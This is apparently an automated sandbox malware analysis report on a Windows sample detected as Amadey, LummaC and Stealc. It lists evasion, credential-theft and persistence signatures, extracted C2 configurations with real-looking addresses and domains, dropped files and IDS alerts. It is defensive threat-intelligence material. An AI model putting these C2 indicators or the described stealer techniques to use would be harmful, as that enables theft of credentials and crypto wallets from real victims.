Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1579386
MD5: cf6393e173fb6315d0c681bc78eb3528
SHA1: 26dc307ae4ea1866d40c9a34e38768733ec30b34
SHA256: 3dee7134cbeea75160519a338fc848a18af80c46ef475fcd3c69a463d449c35d
Tags: Amadeyexeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Attempt to bypass Chrome Application-Bound Encryption
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys Clipper DLL
Yara detected Amadeys stealer DLL
Yara detected Credential Flusher
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Contains functionality to start a terminal service
Creates files in the system32 config directory
Creates multiple autostart registry keys
Drops PE files to the document folder of the user
Drops large PE files
Drops password protected ZIP file
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Injects a PE file into a foreign processes
Leaks process information
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
PE file contains section with special chars
Query firmware table information (likely to detect VMs)
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Writes many files with high entropy
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Binary contains a suspicious time stamp
Checks for debuggers (devices)
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates COM task schedule object (often to register a task for autostart)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Deletes files inside the Windows folder
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops files with a non-matching file extension (content does not match file extension)
Enables security privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Installs a Chrome extension
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: Chromium Browser Instance Executed With Custom Extension
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000000.00000002.1758709605.0000000000851000.00000040.00000001.01000000.00000003.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 5cda6c90d7.exe.5040.12.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["cheapptaxysu.click", "necklacebudi.lat", "aspecteirs.lat", "crosshuaht.lat", "rapeflowwj.lat", "discokeyus.lat", "sustainskelet.lat", "grannyejh.lat", "energyaffai.lat"], "Build id": "CZJvss--geopoxid"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\soft[1] ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[4].exe ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\1019813001\cc6b47fc15.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\YVDVBfFGR3eAeBewwD9vewWwVe0B\Y-Cleaner.exe ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe ReversingLabs: Detection: 69%
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 57%
Source: file.exe Virustotal: Detection: 59% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.9% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\soft[1] Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 10_2_0033123B CryptContextAddRef, 10_2_0033123B
Source: b6638733e4.exe, 00000013.00000003.2869803204.00000000075CF000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_14021217-0
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Directory created: C:\Program Files\Google\Chrome\Extensions
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Directory created: C:\Program Files\Windows Media Player\graph
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Directory created: C:\Program Files\Windows Media Player\graph\graph.exe
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe File opened: C:\Windows\SysWOW64\msvcr100.dll
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49863 version: TLS 1.2
Source: unknown HTTPS traffic detected: 216.58.208.238:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown HTTPS traffic detected: 216.58.208.238:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.181.65:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.181.65:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49904 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49908 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50060 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50068 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50120 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50125 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50128 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50134 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50140 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50141 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50157 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50158 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50162 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50168 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50169 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50174 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50177 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50180 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.89.115:443 -> 192.168.2.4:50185 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50186 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50189 version: TLS 1.2
Source: Binary string: D:\exe\final\final\graph\x64\Release\graph.pdb% source: cc6f25572f.exe, 00000010.00000003.2843921886.000002B0C3894000.00000004.00000020.00020000.00000000.sdmp, graph.exe, 00000012.00000000.2844105614.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp, graph.exe, 00000014.00000000.2876091171.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp, graph.exe, 00000015.00000000.2968882677.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp, graph.exe, 00000017.00000000.3051120519.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp
Source: Binary string: D:\exe\final\merged_final\x64\Release\fetcher2.pdb source: cc6f25572f.exe, 00000010.00000002.2888013323.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000010.00000000.2731872890.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000011.00000002.2972181574.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000011.00000000.2740743202.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: D:\exe\final\merged_final\x64\Release\fetcher2.pdb[ source: cc6f25572f.exe, 00000010.00000002.2888013323.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000010.00000000.2731872890.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000011.00000002.2972181574.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000011.00000000.2740743202.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: C:\Admin\Workspace\1766103906\Project\Release\Project.pdb source: af155ed129.exe, 00000006.00000000.2441026103.000000000032C000.00000002.00000001.01000000.00000009.sdmp
Source: Binary string: D:\exe\final\final\graph\x64\Release\graph.pdb source: cc6f25572f.exe, 00000010.00000003.2843921886.000002B0C3894000.00000004.00000020.00020000.00000000.sdmp, graph.exe, 00000012.00000000.2844105614.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp, graph.exe, 00000014.00000000.2876091171.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp, graph.exe, 00000015.00000000.2968882677.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp, graph.exe, 00000017.00000000.3051120519.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp
Creates COM task schedule object (often to register a task for autostart)
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: number of queries: 2002
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_003436A9 FindFirstFileExW, 8_2_003436A9
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_0034375A FindFirstFileExW,FindNextFileW,FindClose,FindClose, 8_2_0034375A
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 10_2_003436A9 FindFirstFileExW, 10_2_003436A9
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 10_2_0034375A FindFirstFileExW,FindNextFileW,FindClose,FindClose, 10_2_0034375A
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe File opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe File opened: C:\Users\user\Documents\desktop.ini
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe File opened: C:\Users\user\Desktop\desktop.ini
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe File opened: C:\Users\user\AppData\Local
Source: chrome.exe Memory has grown: Private usage: 6MB later: 29MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49753 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49759
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49785 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49802 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058397 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click) : 192.168.2.4:57173 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49806 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49814 -> 172.67.209.202:443
